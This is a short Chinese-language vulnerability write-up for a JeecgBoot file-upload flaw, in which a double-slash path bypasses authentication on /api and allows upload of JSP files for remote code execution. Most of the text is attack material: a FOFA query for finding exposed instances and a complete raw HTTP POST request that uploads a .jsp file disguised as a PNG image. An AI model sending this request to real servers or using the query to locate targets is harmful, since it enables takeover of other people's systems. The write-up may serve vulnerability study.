J10-7JeecgBoot-企业级低代码平台-文件上传
漏洞描述:
JEECG(J2EE Code Generation) 是开源的代码生成平台,目前官方已停止维护。由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 / 的url绕过鉴权。攻击者可构造恶意请求利用 commonController 接口进行文件上传攻击实现远程代码执行,导致服务器被控。
影响版本:
- JeecgBoot-企业级
网站图片:
网络测绘:
fofa语法:
FOFA:app=“JEECG”
漏洞复现:
payload:
POST /api//commonController.do?parserXml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryyfyhSCMs9cajzFD4
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; "name="name"
qwe.png
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="documentTitle"
blank
------WebKitFormBoundaryyfyhSCMs9cajzFD4
Content-Disposition: form-data; name="file"; filename="qwe.jsp"
Content-Type: image/png
<% out.println("hello,jeecg");%>
------WebKitFormBoundaryyfyhSCMs9cajzFD4--
效果图:
验证
RCE